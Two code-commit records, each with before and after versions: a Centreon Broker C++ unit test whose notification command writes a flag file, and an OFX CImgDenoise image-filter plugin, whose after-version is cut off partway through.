{"text":"<commit_before>\/*\n** Copyright 2014 Merethis\n**\n** This file is part of Centreon Broker.\n**\n** Centreon Broker is free software: you can redistribute it and\/or\n** modify it under the terms of the GNU General Public License version 2\n** as published by the Free Software Foundation.\n**\n** Centreon Broker is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n** General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with Centreon Broker. If not, see\n** <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <cstdio>\n#include <cstdlib>\n#include <iostream>\n#include <QFile>\n#include \"com\/centreon\/broker\/exceptions\/msg.hh\"\n#include \"test\/config.hh\"\n#include \"test\/engine.hh\"\n#include \"test\/external_command.hh\"\n#include \"test\/generate.hh\"\n#include \"test\/misc.hh\"\n#include \"test\/vars.hh\"\n\nusing namespace com::centreon::broker;\n\n#define DB_NAME \"broker_notification\"\n\n\/**\n *  Check that notification is properly enabled when non-correlation\n *  option is set on services.\n *\n *  @return EXIT_SUCCESS on success.\n *\/\nint main() {\n  \/\/ Error flag.\n  bool error(true);\n\n  \/\/ Variables that need cleaning.\n  std::list<host> hosts;\n  std::list<service> services;\n  std::string engine_config_path(tmpnam(NULL));\n  std::string flag_file(tmpnam(NULL));\n  std::string node_cache_file(tmpnam(NULL));\n  external_command commander;\n  engine monitoring;\n  test_file broker_cfg;\n  test_db db;\n\n  try {\n    \/\/ Log some info.\n    std::cout << \"flag file: \" << flag_file << \"\\n\";\n    std::cout << \"node cache: \" << node_cache_file << \"\\n\";\n\n    \/\/ Prepare database.\n    db.open(NULL, NULL, DB_NAME);\n\n    \/\/ Prepare monitoring engine configuration parameters.\n    generate_hosts(hosts, 1);\n    generate_services(services, hosts, 2);\n    for (std::list<service>::iterator\n           it(services.begin()),\n           end(services.end());\n         it != end;\n         ++it) {\n      it->checks_enabled = 0;\n      it->accept_passive_service_checks = 1;\n      it->max_attempts = 1;\n    }\n    set_custom_variable(\n      services.back(),\n      \"FLAGFILE\",\n      flag_file.c_str());\n\n    \/\/ Populate database.\n    db.centreon_run(\n         \"INSERT INTO cfg_hosts (host_id, host_name)\"\n         \"  VALUES (1, 'Host1')\",\n         \"could not create host\");\n    db.centreon_run(\n         \"INSERT INTO cfg_services (service_id,\"\n         \"            service_description)\"\n         \"  VALUES (1, 'Service1'), (2, 'Service2')\",\n         \"could not create services\");\n    db.centreon_run(\n         \"INSERT INTO cfg_hosts_services_relations (host_host_id,\"\n         \"            service_service_id)\"\n         \"  VALUES (1, 1), (1, 2)\",\n         \"could not link host and services\");\n\n    \/\/ Create contact in DB.\n    db.centreon_run(\n         \"INSERT INTO cfg_contacts (contact_id, contact_name)\"\n         \"  VALUES (1, 'Contact1')\",\n         \"could not create contact\");\n    db.centreon_run(\n         \"INSERT INTO cfg_contacts_services_relations (contact_id,\"\n         \"            service_service_id)\"\n         \"  VALUES (1, 1), (1, 2)\",\n         \"could not link services and contact\");\n\n    \/\/ Create notification command in DB.\n    db.centreon_run(\n         \"INSERT INTO cfg_commands (command_id, command_name,\"\n         \"            command_line)\"\n         \"  VALUES (1, 'NotificationCommand1', 'cmake -E touch $_SERVICEFLAGFILE$')\",\n         \"could not create notification command\");\n\n    \/\/ Create notification rules in DB.\n    db.centreon_run(\n         \"INSERT INTO cfg_notification_methods (method_id,\"\n         \"            name, command_id, `interval`)\"\n         \"  VALUES (1, 'NotificationMethod', 1, 300)\",\n         \"could not create notification method\");\n    db.centreon_run(\n         \"INSERT INTO cfg_notification_rules (rule_id, method_id, \"\n         \"            timeperiod_id, owner_id, contact_id, host_id,\"\n         \"            service_id, enabled)\"\n         \"  VALUES (1, 1, NULL, 1, 1, 1, 2, 1)\",\n         \"could not create notification rule (cfg)\");\n    db.centreon_run(\n         \"INSERT INTO rt_notification_rules (rule_id, method_id,\"\n         \"            timeperiod_id, contact_id, host_id,\"\n         \"            service_id)\"\n         \"  VALUES (1, 1, NULL, 1, 1, 2)\",\n         \"could not create notification rule (rt)\");\n\n    \/\/ Generate configuration.\n    broker_cfg.set_template(\n      PROJECT_SOURCE_DIR \"\/test\/cfg\/notification.xml.in\");\n    broker_cfg.set(\"NODE_CACHE_FILE\", node_cache_file);\n    commander.set_file(tmpnam(NULL));\n    std::string additional_config;\n    {\n      std::ostringstream oss;\n      oss << commander.get_engine_config()\n          << \"broker_module=\" << CBMOD_PATH << \" \"\n          << broker_cfg.generate() << \"\\n\";\n      additional_config = oss.str();\n    }\n    config_write(\n      engine_config_path.c_str(),\n      additional_config.c_str(),\n      &hosts,\n      &services);\n\n    \/\/ Start monitoring.\n    std::string engine_config_file(engine_config_path);\n    engine_config_file.append(\"\/nagios.cfg\");\n    monitoring.set_config_file(engine_config_file);\n    monitoring.start();\n    sleep_for(3 * MONITORING_ENGINE_INTERVAL_LENGTH);\n    commander.execute(\n      \"PROCESS_SERVICE_CHECK_RESULT;1;1;0;Submitted by unit test\");\n    commander.execute(\n      \"PROCESS_SERVICE_CHECK_RESULT;1;2;0;Submitted by unit test\");\n    sleep_for(5 * MONITORING_ENGINE_INTERVAL_LENGTH);\n\n    \/\/ Make service 2 CRITICAL.\n    commander.execute(\n      \"PROCESS_SERVICE_CHECK_RESULT;1;2;2;Submitted by unit test\");\n    sleep_for(5 * MONITORING_ENGINE_INTERVAL_LENGTH);\n\n    \/\/ Check file creation.\n    error = !QFile::exists(flag_file.c_str());\n  }\n  catch (std::exception const& e) {\n    std::cerr << e.what() << std::endl;\n  }\n  catch (...) {\n    std::cerr << \"unknown exception\" << std::endl;\n  }\n\n  \/\/ Cleanup.\n  monitoring.stop();\n  sleep_for(3 * MONITORING_ENGINE_INTERVAL_LENGTH);\n  ::remove(flag_file.c_str());\n  ::remove(node_cache_file.c_str());\n  config_remove(engine_config_path.c_str());\n  free_hosts(hosts);\n  free_services(services);\n\n  return (error ? EXIT_FAILURE : EXIT_SUCCESS);\n}\n<commit_msg>Notification: better unit test.<commit_after>\/*\n** Copyright 2014 Merethis\n**\n** This file is part of Centreon Broker.\n**\n** Centreon Broker is free software: you can redistribute it and\/or\n** modify it under the terms of the GNU General Public License version 2\n** as published by the Free Software Foundation.\n**\n** Centreon Broker is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n** General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with Centreon Broker. If not, see\n** <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <cstdio>\n#include <cstdlib>\n#include <iostream>\n#include <QFile>\n#include \"com\/centreon\/broker\/exceptions\/msg.hh\"\n#include \"test\/config.hh\"\n#include \"test\/engine.hh\"\n#include \"test\/external_command.hh\"\n#include \"test\/generate.hh\"\n#include \"test\/misc.hh\"\n#include \"test\/vars.hh\"\n\nusing namespace com::centreon::broker;\n\n#define DB_NAME \"broker_notification\"\n\n\/**\n *  Check that notification is properly enabled when non-correlation\n *  option is set on services.\n *\n *  @return EXIT_SUCCESS on success.\n *\/\nint main() {\n  \/\/ Error flag.\n  bool error(true);\n\n  \/\/ Variables that need cleaning.\n  std::list<host> hosts;\n  std::list<service> services;\n  std::string engine_config_path(tmpnam(NULL));\n  std::string flag_file(tmpnam(NULL));\n  std::string node_cache_file(tmpnam(NULL));\n  external_command commander;\n  engine monitoring;\n  test_file broker_cfg;\n  test_db db;\n\n  try {\n    \/\/ Log some info.\n    std::cout << \"flag file: \" << flag_file << \"\\n\";\n    std::cout << \"node cache: \" << node_cache_file << \"\\n\";\n\n    \/\/ Prepare database.\n    db.open(NULL, NULL, DB_NAME);\n\n    \/\/ Prepare monitoring engine configuration parameters.\n    generate_hosts(hosts, 1);\n    generate_services(services, hosts, 2);\n    for (std::list<service>::iterator\n           it(services.begin()),\n           end(services.end());\n         it != end;\n         ++it) {\n      it->checks_enabled = 0;\n      it->accept_passive_service_checks = 1;\n      it->max_attempts = 1;\n    }\n    set_custom_variable(\n      services.back(),\n      \"FLAGFILE\",\n      flag_file.c_str());\n\n    \/\/ Populate database.\n    db.centreon_run(\n         \"INSERT INTO cfg_hosts (host_id, host_name)\"\n         \"  VALUES (1, 'Host1')\",\n         \"could not create host\");\n    db.centreon_run(\n         \"INSERT INTO cfg_services (service_id,\"\n         \"            service_description)\"\n         \"  VALUES (1, 'Service1'), (2, 'Service2')\",\n         \"could not create services\");\n    db.centreon_run(\n         \"INSERT INTO cfg_hosts_services_relations (host_host_id,\"\n         \"            service_service_id)\"\n         \"  VALUES (1, 1), (1, 2)\",\n         \"could not link host and services\");\n\n    \/\/ Create contact in DB.\n    db.centreon_run(\n         \"INSERT INTO cfg_contacts (contact_id, contact_name)\"\n         \"  VALUES (1, 'Contact1')\",\n         \"could not create contact\");\n    db.centreon_run(\n         \"INSERT INTO cfg_contacts_services_relations (contact_id,\"\n         \"            service_service_id)\"\n         \"  VALUES (1, 1), (1, 2)\",\n         \"could not link services and contact\");\n\n    \/\/ Create notification command in DB.\n    db.centreon_run(\n         \"INSERT INTO cfg_commands (command_id, command_name,\"\n         \"            command_line)\"\n         \"  VALUES (1, 'NotificationCommand1', 'sh -c \\\\'echo \\\"test\\\" > $_SERVICEFLAGFILE$\\\\'')\",\n         \"could not create notification command\");\n\n    \/\/ Create notification rules in DB.\n    db.centreon_run(\n         \"INSERT INTO cfg_notification_methods (method_id,\"\n         \"            name, command_id, `interval`)\"\n         \"  VALUES (1, 'NotificationMethod', 1, 300)\",\n         \"could not create notification method\");\n    db.centreon_run(\n         \"INSERT INTO cfg_notification_rules (rule_id, method_id, \"\n         \"            timeperiod_id, owner_id, contact_id, host_id,\"\n         \"            service_id, enabled)\"\n         \"  VALUES (1, 1, NULL, 1, 1, 1, 2, 1)\",\n         \"could not create notification rule (cfg)\");\n    db.centreon_run(\n         \"INSERT INTO rt_notification_rules (rule_id, method_id,\"\n         \"            timeperiod_id, contact_id, host_id,\"\n         \"            service_id)\"\n         \"  VALUES (1, 1, NULL, 1, 1, 2)\",\n         \"could not create notification rule (rt)\");\n\n    \/\/ Generate configuration.\n    broker_cfg.set_template(\n      PROJECT_SOURCE_DIR \"\/test\/cfg\/notification.xml.in\");\n    broker_cfg.set(\"NODE_CACHE_FILE\", node_cache_file);\n    commander.set_file(tmpnam(NULL));\n    std::string additional_config;\n    {\n      std::ostringstream oss;\n      oss << commander.get_engine_config()\n          << \"broker_module=\" << CBMOD_PATH << \" \"\n          << broker_cfg.generate() << \"\\n\";\n      additional_config = oss.str();\n    }\n    config_write(\n      engine_config_path.c_str(),\n      additional_config.c_str(),\n      &hosts,\n      &services);\n\n    \/\/ Start monitoring.\n    std::string engine_config_file(engine_config_path);\n    engine_config_file.append(\"\/nagios.cfg\");\n    monitoring.set_config_file(engine_config_file);\n    monitoring.start();\n    sleep_for(3 * MONITORING_ENGINE_INTERVAL_LENGTH);\n    commander.execute(\n      \"PROCESS_SERVICE_CHECK_RESULT;1;1;0;Submitted by unit test\");\n    commander.execute(\n      \"PROCESS_SERVICE_CHECK_RESULT;1;2;0;Submitted by unit test\");\n    sleep_for(5 * MONITORING_ENGINE_INTERVAL_LENGTH);\n\n    \/\/ Make service 2 CRITICAL.\n    commander.execute(\n      \"PROCESS_SERVICE_CHECK_RESULT;1;2;2;Submitted by unit test\");\n    sleep_for(5 * MONITORING_ENGINE_INTERVAL_LENGTH);\n\n    \/\/ Check file creation.\n    error = !QFile::exists(flag_file.c_str());\n\n    if (!error)\n      std::cout\n        <<  \"content of \" << flag_file << \":\"\n        << QFile(flag_file.c_str()).readAll().data() << std::endl;\n  }\n  catch (std::exception const& e) {\n    std::cerr << e.what() << std::endl;\n  }\n  catch (...) {\n    std::cerr << \"unknown exception\" << std::endl;\n  }\n\n  \/\/ Cleanup.\n  monitoring.stop();\n  sleep_for(3 * MONITORING_ENGINE_INTERVAL_LENGTH);\n  ::remove(flag_file.c_str());\n  ::remove(node_cache_file.c_str());\n  config_remove(engine_config_path.c_str());\n  free_hosts(hosts);\n  free_services(services);\n\n  return (error ? EXIT_FAILURE : EXIT_SUCCESS);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n OFX CImgDenoise plugin.\n\n Copyright (C) 2014 INRIA\n\n Redistribution and use in source and binary forms, with or without modification,\n are permitted provided that the following conditions are met:\n\n Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n Redistributions in binary form must reproduce the above copyright notice, this\n list of conditions and the following disclaimer in the documentation and\/or\n other materials provided with the distribution.\n\n Neither the name of the {organization} nor the names of its\n contributors may be used to endorse or promote products derived from\n this software without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n INRIA\n Domaine de Voluceau\n Rocquencourt - B.P. 105\n 78153 Le Chesnay Cedex - France\n\n\n The skeleton for this source file is from:\n OFX Basic Example plugin, a plugin that illustrates the use of the OFX Support library.\n\n Copyright (C) 2004-2005 The Open Effects Association Ltd\n Author Bruno Nicoletti bruno@thefoundry.co.uk\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n * Neither the name The Open Effects Association Ltd, nor the names of its\n contributors may be used to endorse or promote products derived from this\n software without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n The Open Effects Association Ltd\n 1 Wardour St\n London W1D 6PA\n England\n\n *\/\n\n#include \"CImgDenoise.h\"\n\n#include <memory>\n#include <cmath>\n#include <cstring>\n#ifdef _WINDOWS\n#include <windows.h>\n#endif\n\n#include \"ofxsProcessing.H\"\n#include \"ofxsMaskMix.h\"\n#include \"ofxsMacros.h\"\n#include \"ofxsMerging.h\"\n#include \"ofxsCopier.h\"\n\n#define cimg_display 0\n#include <CImg.h>\n\n#include \"CImgFilter.h\"\n\n#define kPluginName          \"DenoiseCImg\"\n#define kPluginGrouping      \"Filter\"\n#define kPluginDescription \\\n\"Denoise selected images by non-local patch averaging.\\n\" \\\n\"Uses the 'blur_patch' function from the CImg library.\\n\" \\\n\"CImg is a free, open-source library distributed under the CeCILL-C \" \\\n\"(close to the GNU LGPL) or CeCILL (compatible with the GNU GPL) licenses. \" \\\n\"It can be used in commercial applications (see http:\/\/cimg.sourceforge.net).\"\n\n#define kPluginIdentifier    \"net.sf.cimg.CImgDenoise\"\n#define kPluginVersionMajor 1 \/\/ Incrementing this number means that you have broken backwards compatibility of the plug-in.\n#define kPluginVersionMinor 0 \/\/ Increment this when you have fixed a bug or made it faster.\n\n#define kSupportsTiles 1\n#define kSupportsMultiResolution 1\n#define kSupportsRenderScale 1\n#define kRenderThreadSafety eRenderFullySafe\n#define kHostFrameThreading true\n#define kSupportsRGBA true\n#define kSupportsRGB true\n#define kSupportsAlpha true\n\n#define kParamSigmaS \"sigma_s\"\n#define kParamSigmaSLabel \"Sigma_s\"\n#define kParamSigmaSHint \"Standard deviation of the spatial kernel, in pixel units (>=0).\"\n#define kParamSigmaSDefault 10.0\n\n#define kParamSigmaR \"sigma_r\"\n#define kParamSigmaRLabel \"Sigma_r\"\n#define kParamSigmaRHint \"Standard deviation of the range kernel, in intensity units (>=0).\"\n#define kParamSigmaRDefault 0.05\n\n#define kParamPatchSize \"psize\"\n#define kParamPatchSizeLabel \"Patch Size\"\n#define kParamPatchSizeHint \"Size of the patchs, in pixels (>=0).\"\n#define kParamPatchSizeDefault 5\n\n#define kParamLookupSize \"psize\"\n#define kParamLookupSizeLabel \"Lookup Size\"\n#define kParamLookupSizeHint \"Size of the window to search similar patchs, in pixels (>=0).\"\n#define kParamLookupSizeDefault 6\n\n#define kParamSmoothness \"smoothness\"\n#define kParamSmoothnessLabel \"Smoothness\"\n#define kParamSmoothnessHint \"Smoothness for the patch comparison, in pixels (>=0).\"\n#define kParamSmoothnessDefault 1.\n\n#define kParamFastApprox \"is_fast_approximation\"\n#define kParamFastApproxLabel \"fast Approximation\"\n#define kParamFastApproxHint \"Tells if a fast approximation of the gaussian function is used or not\"\n#define kParamFastApproxDafault true\n\nusing namespace OFX;\n\n\/\/\/ Denoise plugin\nstruct CImgDenoiseParams\n{\n    double sigma_s;\n    double sigma_r;\n    int psize;\n    int lsize;\n    double smoothness;\n    bool fast_approx;\n};\n\nclass CImgDenoisePlugin : public CImgFilterPluginHelper<CImgDenoiseParams>\n{\npublic:\n\n    CImgDenoisePlugin(OfxImageEffectHandle handle)\n    : CImgFilterPluginHelper<CImgDenoiseParams>(handle, kSupportsRenderScale)\n    {\n        _sigma_s  = fetchDoubleParam(kParamSigmaS);\n        _sigma_r  = fetchDoubleParam(kParamSigmaR);\n        _psize = fetchIntParam(kParamPatchSize);\n        _lsize = fetchIntParam(kParamLookupSize);\n        _smoothness = fetchDoubleParam(kParamSmoothness);\n        _fast_approx = fetchBooleanParam(kParamFastApprox);\n        assert(_sigma_s && _sigma_r);\n    }\n\n    virtual void getValuesAtTime(double time, CImgDenoiseParams& params) OVERRIDE FINAL\n    {\n        _sigma_s->getValueAtTime(time, params.sigma_s);\n        _sigma_r->getValueAtTime(time, params.sigma_r);\n        _psize->getValueAtTime(time, params.psize);\n        _lsize->getValueAtTime(time, params.lsize);\n        _smoothness->getValueAtTime(time, params.smoothness);\n        _fast_approx->getValueAtTime(time, params.fast_approx);\n    }\n\n    \/\/ compute the roi required to compute rect, given params. This roi is then intersected with the image rod.\n    \/\/ only called if mix != 0.\n    virtual void getRoI(const OfxRectI rect, const OfxPointD& renderScale, const CImgDenoiseParams& params, OfxRectI* roi) OVERRIDE FINAL\n    {\n        int delta_pix = std::ceil((params.sigma_s * 4.) * renderScale.x) + std::ceil(params.psize * renderScale.x) + std::ceil(params.lsize * renderScale.x);\n        roi->x1 = rect.x1 - delta_pix;\n        roi->x2 = rect.x2 + delta_pix;\n        roi->y1 = rect.y1 - delta_pix;\n        roi->y2 = rect.y2 + delta_pix;\n    }\n\n    virtual void render(const OFX::RenderArguments &args, const CImgDenoiseParams& params, int x1, int y1, cimg_library::CImg<float>& cimg) OVERRIDE FINAL\n    {\n        \/\/ PROCESSING.\n        \/\/ This is the only place where the actual processing takes place\n        cimg.blur_patch(params.sigma_s * args.renderScale.x, params.sigma_r, std::ceil(params.psize * args.renderScale.x), std::ceil(params.lsize * args.renderScale.x), params.smoothness * args.renderScale.x, params.fast_approx);\n    }\n\n    virtual bool isIdentity(const CImgDenoiseParams& params) OVERRIDE FINAL\n    {\n        return (params.sigma_r == 0. && params.sigma_r == 0.);\n    };\n\nprivate:\n\n    \/\/ params\n    OFX::DoubleParam *_sigma_s;\n    OFX::DoubleParam *_sigma_r;\n    OFX::IntParam *_psize;\n    OFX::IntParam *_lsize;\n    OFX::DoubleParam *_smoothness;\n    OFX::BooleanParam *_fast_approx;\n};\n\n\nmDeclarePluginFactory(CImgDenoisePluginFactory, {}, {});\n\nvoid CImgDenoisePluginFactory::describe(OFX::ImageEffectDescriptor& desc)\n{\n    \/\/ basic labels\n    desc.setLabels(kPluginName, kPluginName, kPluginName);\n    desc.setPluginGrouping(kPluginGrouping);\n    desc.setPluginDescription(kPluginDescription);\n\n    \/\/ add supported context\n    desc.addSupportedContext(eContextFilter);\n    desc.addSupportedContext(eContextGeneral);\n\n    \/\/ add supported pixel depths\n    \/\/desc.addSupportedBitDepth(eBitDepthUByte);\n    \/\/desc.addSupportedBitDepth(eBitDepthUShort);\n    desc.addSupportedBitDepth(eBitDepthFloat);\n\n    \/\/ set a few flags\n    desc.setSingleInstance(false);\n    desc.setHostFrameThreading(kHostFrameThreading);\n    desc.setSupportsMultiResolution(kSupportsMultiResolution);\n    desc.setSupportsTiles(kSupportsTiles);\n    desc.setTemporalClipAccess(false);\n    desc.setRenderTwiceAlways(true);\n    desc.setSupportsMultipleClipPARs(false);\n    desc.setRenderThreadSafety(kRenderThreadSafety);\n}\n\nvoid CImgDenoisePluginFactory::describeInContext(OFX::ImageEffectDescriptor& desc, OFX::ContextEnum context)\n{\n    \/\/ create the clips and params\n    OFX::PageParamDescriptor *page = CImgDenoisePlugin::describeInContextBegin(desc, context,\n                                                                              kSupportsRGBA,\n                                                                              kSupportsRGB,\n                                                                              kSupportsAlpha,\n                                                                              kSupportsTiles);\n\n    {\n        OFX::DoubleParamDescriptor *param = desc.defineDoubleParam(kParamSigmaS);\n        param->setLabels(kParamSigmaSLabel, kParamSigmaSLabel, kParamSigmaSLabel);\n        param->setHint(kParamSigmaSHint);\n        param->setRange(0, 1000);\n        param->setDefault(kParamSigmaSDefault);\n        param->setIncrement(0.1);\n        page->addChild(*param);\n    }\n    {\n        OFX::DoubleParamDescriptor *param = desc.defineDoubleParam(kParamSigmaR);\n        param->setLabels(kParamSigmaRLabel, kParamSigmaRLabel, kParamSigmaRLabel);\n        param->setHint(kParamSigmaRHint);\n        param->setRange(0, 10.0);\n        param->setDefault(kParamSigmaRDefault);\n        param->setIncrement(0.005);\n        page->addChild(*param);\n    }\n    {\n        OFX::IntParamDescriptor *param = desc.defineIntParam(kParamPatchSize);\n        param->setLabels(kParamPatchSizeLabel, kParamPatchSizeLabel, kParamPatchSizeLabel);\n        param->setHint(kParamPatchSizeHint);\n        param->setRange(0, 1000);\n        param->setDisplayRange(0, 25);\n        param->setDefault(kParamPatchSizeDefault);\n        page->addChild(*param);\n    }\n    {\n        OFX::IntParamDescriptor *param = desc.defineIntParam(kParamLookupSize);\n        param->setLabels(kParamLookupSizeLabel, kParamLookupSizeLabel, kParamLookupSizeLabel);\n        param->setHint(kParamLookupSizeHint);\n        param->setRange(0, 1000);\n        param->setDisplayRange(0, 25);\n        param->setDefault(kParamLookupSizeDefault);\n        page->addChild(*param);\n    }\n    {\n        OFX::DoubleParamDescriptor *param = desc.defineDoubleParam(kParamSmoothness);\n        param->setLabels(kParamSmoothnessLabel, kParamSmoothnessLabel, kParamSmoothnessLabel);\n        param->setHint(kParamSmoothnessHint);\n        param->setRange(0, 1000);\n        param->setDisplayRange(0, 25);\n        param->setDefault(kParamSmoothnessDefault);\n        page->addChild(*param);\n    }\n    {\n        OFX::BooleanParamDescriptor *param = desc.defineBooleanParam(kParamFastApprox);\n        param->setLabels(kParamFastApproxLabel, kParamFastApproxLabel, kParamFastApproxLabel);\n        param->setHint(kParamFastApproxHint);\n        param->setDefault(kParamFastApproxDafault);\n        page->addChild(*param);\n    }\n\n    CImgDenoisePlugin::describeInContextEnd(desc, context, page);\n}\n\nOFX::ImageEffect* CImgDenoisePluginFactory::createInstance(OfxImageEffectHandle handle, OFX::ContextEnum context)\n{\n    return new CImgDenoisePlugin(handle);\n}\n\n\nvoid getCImgDenoisePluginID(OFX::PluginFactoryArray &ids)\n{\n    static CImgDenoisePluginFactory p(kPluginIdentifier, kPluginVersionMajor, kPluginVersionMinor);\n    ids.push_back(&p);\n}\n<commit_msg>CImgNoise: bug fix<commit_after>\/*\n OFX CImgDenoise plugin.\n\n Copyright (C) 2014 INRIA\n\n Redistribution and use in source and binary forms, with or without modification,\n are permitted provided that the following conditions are met:\n\n Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n Redistributions in binary form must reproduce the above copyright notice, this\n list of conditions and the following disclaimer in the documentation and\/or\n other materials provided with the distribution.\n\n Neither the name of the {organization} nor the names of its\n contributors may be used to endorse or promote products derived from\n this software without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n INRIA\n Domaine de Voluceau\n Rocquencourt - B.P. 105\n 78153 Le Chesnay Cedex - France\n\n\n The skeleton for this source file is from:\n OFX Basic Example plugin, a plugin that illustrates the use of the OFX Support library.\n\n Copyright (C) 2004-2005 The Open Effects Association Ltd\n Author Bruno Nicoletti bruno@thefoundry.co.uk\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n * Neither the name The Open Effects Association Ltd, nor the names of its\n contributors may be used to endorse or promote products derived from this\n software without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n The Open Effects Association Ltd\n 1 Wardour St\n London W1D 6PA\n England\n\n *\/\n\n#include \"CImgDenoise.h\"\n\n#include <memory>\n#include <cmath>\n#include <cstring>\n#ifdef _WINDOWS\n#include <windows.h>\n#endif\n\n#include \"ofxsProcessing.H\"\n#include \"ofxsMaskMix.h\"\n#include \"ofxsMacros.h\"\n#include \"ofxsMerging.h\"\n#include \"ofxsCopier.h\"\n\n#define cimg_display 0\n#include <CImg.h>\n\n#include \"CImgFilter.h\"\n\n#define kPluginName          \"DenoiseCImg\"\n#define kPluginGrouping      \"Filter\"\n#define kPluginDescription \\\n\"Denoise selected images by non-local patch averaging.\\n\" \\\n\"Uses the 'blur_patch' function from the CImg library.\\n\" \\\n\"CImg is a free, open-source library distributed under the CeCILL-C \" \\\n\"(close to the GNU LGPL) or CeCILL (compatible with the GNU GPL) licenses. \" \\\n\"It can be used in commercial applications (see http:\/\/cimg.sourceforge.net).\"\n\n#define kPluginIdentifier    \"net.sf.cimg.CImgDenoise\"\n#define kPluginVersionMajor 1 \/\/ Incrementing this number means that you have broken backwards compatibility of the plug-in.\n#define kPluginVersionMinor 0 \/\/ Increment this when you have fixed a bug or made it faster.\n\n#define kSupportsTiles 1\n#define 